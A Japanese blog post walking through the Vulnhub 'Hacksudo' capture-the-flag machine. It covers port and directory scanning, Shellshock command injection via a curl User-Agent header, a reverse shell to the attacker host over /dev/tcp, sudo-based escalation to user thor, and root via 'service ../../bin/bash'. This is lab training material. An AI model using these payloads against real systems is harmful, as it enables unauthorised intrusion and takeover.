見出し画像

Writeup: Vulnhub Hacksudo 攻略

Vulnhub の Hacksudo の攻略メモ。
最初はWebサイトのフォームに気を取られて、余計な回り道をしたが、脆弱性に気づいてから後はあまり難しくなかった。

0.ダウンロード

Hacksudo は以下のリンクからダウンロードできる。

Virutal Boxにインポートしてから起動する。メモリは当初2GBの設定になっていたので1GBに変更。起動すると画面にIPアドレスが表示される。

今回のターゲットマシン(Hacksudo)起動画面

問題なく起動したので、ここから攻略開始。

1. 攻略

1) ポートスキャン

  22/tcp( ssh ) ,  80/tcp (httpd ) のみが開いていた。

Nmap 7.92 scan initiated Sat Oct  8 01:45:03 2022 as: nmap -sS -sV -p- -n -T4 -v -oN ports.log -v 192.168.56.109
Nmap scan report for 192.168.56.109
Host is up, received arp-response (0.00031s latency).
Scanned at 2022-10-08 01:45:04 EDT for 11s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE REASON              VERSION
21/tcp filtered ftp     port-unreach ttl 64
22/tcp open     ssh     syn-ack ttl 64      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open     http    syn-ack ttl 64      Apache httpd 2.4.38 ((Debian))

2) 脆弱性探し

80/tcp が開いているので、とりあえずブラウザでアクセスしてみると、
なにやらログイン画面らしきものが表示されている。

ブラウザで接続してみる

ログイン画面をみると、とりあえず「SQLインジェクション」や「ブルートフォースアタック」を試してみたくなる。

トップページのソースを見ると何やら意味深なコメントがあり、「ブルートフォース」はユーザー名 Georgie を使用して実行した。

怪しげなコメント

2時間ほどあれこれ試してみたが、結局何も出てこなかった。とほほ。。

気を取り直して、Webサイトのディレクトリをスキャンしてみる。
スキャンには gobuster を使用した。

/.htpasswd            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/cgi-bin/             (Status: 403) [Size: 279]
/fonts                (Status: 301) [Size: 316] [--> http://192.168.56.109/fonts/]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.109/images/]
/index.php            (Status: 200) [Size: 5357]
/server-status        (Status: 403) [Size: 279]

おや? /cgi-bin/ がある。Apache のデフォルト設定が残っているのか?
このディレクトリを再度 gobuster でスキャンしてみる。

/.hta                 (Status: 403) [Size: 279]
/.hta.cgi             (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.cgi        (Status: 403) [Size: 279]
/.htaccess.cgi        (Status: 403) [Size: 279]
/backup.cgi           (Status: 500) [Size: 612]

スキャン結果を見ると、backup.cgi  へのアクセス結果が 500、つまり Internal Server Error になっていることを示している。このサーバーには 「Shell Shock」の脆弱性があるのかもしれない。

「Shell Shock」とは Bash に起因する脆弱性で、 () { :;}; という文字列に続くコマンドを無条件で実行してしまう、というものである。

Apache の場合は、「ユーザーエージェント」ヘッダに上記の文字列を挿入することで任意のコマンドが実行できる。試しに /usr/bin/id コマンドを挿入したHTTPリクエストを送ってみよう。

curl -A "() { :;}; echo Content-Type: text/html;echo; /usr/bin/id;" http://192.168.56.109/cgi-bin/backup.cgi

想定通り、サーバー側で  /usr/bin/id が実行されたことが判る。

Shell Schok の脆弱性

3) 侵入

前述のコマンドを /usr/bin/id ではなく、攻撃マシンにリバースシェルを返すコマンドに変更すれば、ターゲットに侵入することができる。

まず、攻撃マシン側の 4444番ポートでターゲットからの接続を待ち受ける。

攻撃マシン側でリスナーを起動

次に、リバースシェルを返すためのコマンドを仕込んだ  HTTPリクエストを ターゲットへ送る。

curl -A "() { :;}; echo Content-Type: text/html;echo; /usr/bin/bash -i >& /dev/tcp/192.168.56.101/4444 0>&1;" http://192.168.56.109/cgi-bin/backup.cgi

想定通り、シェルを奪取することができた。侵入成功である。

侵入成功

4) 権限昇格

www-data ユーザーでsudo が実行できることは現実ではまず無いが、CTFでは「あるある」なので、侵入したら一応は試してみることにしている。

どうやらthor ユーザーの権限で何かスクリプトが実行できるようだ。

sudo -l

良く判らない時は、とにかく実行して様子を見るのが一番である。ためしに実行すると、入力した文字列が画面に表示されるだけのようだ。。

sudo 実行結果

ここでまた頭を抱えてしまった。。
う~ん、どうやって権限昇格すれば良いのだろう? sudo で起動するスクリプトは www-data ユーザーからは読むことすらできない。
sudo のバージョンが古いのは確かだが、パッチ適用済みらしく、既存の脆弱性は無さそうだ。

こういう時は、適当にやってみるに限る。
再度、気を取り直して、スクリプトを実行。先ほど hoge , foo などと入力した場所に コマンドを入力してみた。。
すると問題なく thor ユーザーの権限に昇格してしまった。あらら。。

thor に権限昇格

このままだと、プロンプトが表示されておらず、ターミナルもアサインされていない状態なのですこぶる使いにくい。

こんな時は、以下のコマンドを入力してフツーのターミナルのようにする。

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
[CTRL] + Z
stty -echo raw; fg

これでフツーの使い勝手になった。

ターミナルを使いやすくする

5) root権限奪取

最後は root 権限の奪取である。
とりあえず、thor で sudo が実行可能かチェックしてみる。

thor での sudo -l

root 権限で /usr/sbin/service が使用できるなら話は早い。

service コマンドは 引数に指定されたスクリプトを /etc/init.d から探して実行する。つまり  service  ../../bin/bash  とすることで、bash が実行されることになる。

root権限奪取!

これで無事 root 権限を得ることができた。
めでたし、めでたし。


この記事が気に入ったらサポートをしてみませんか?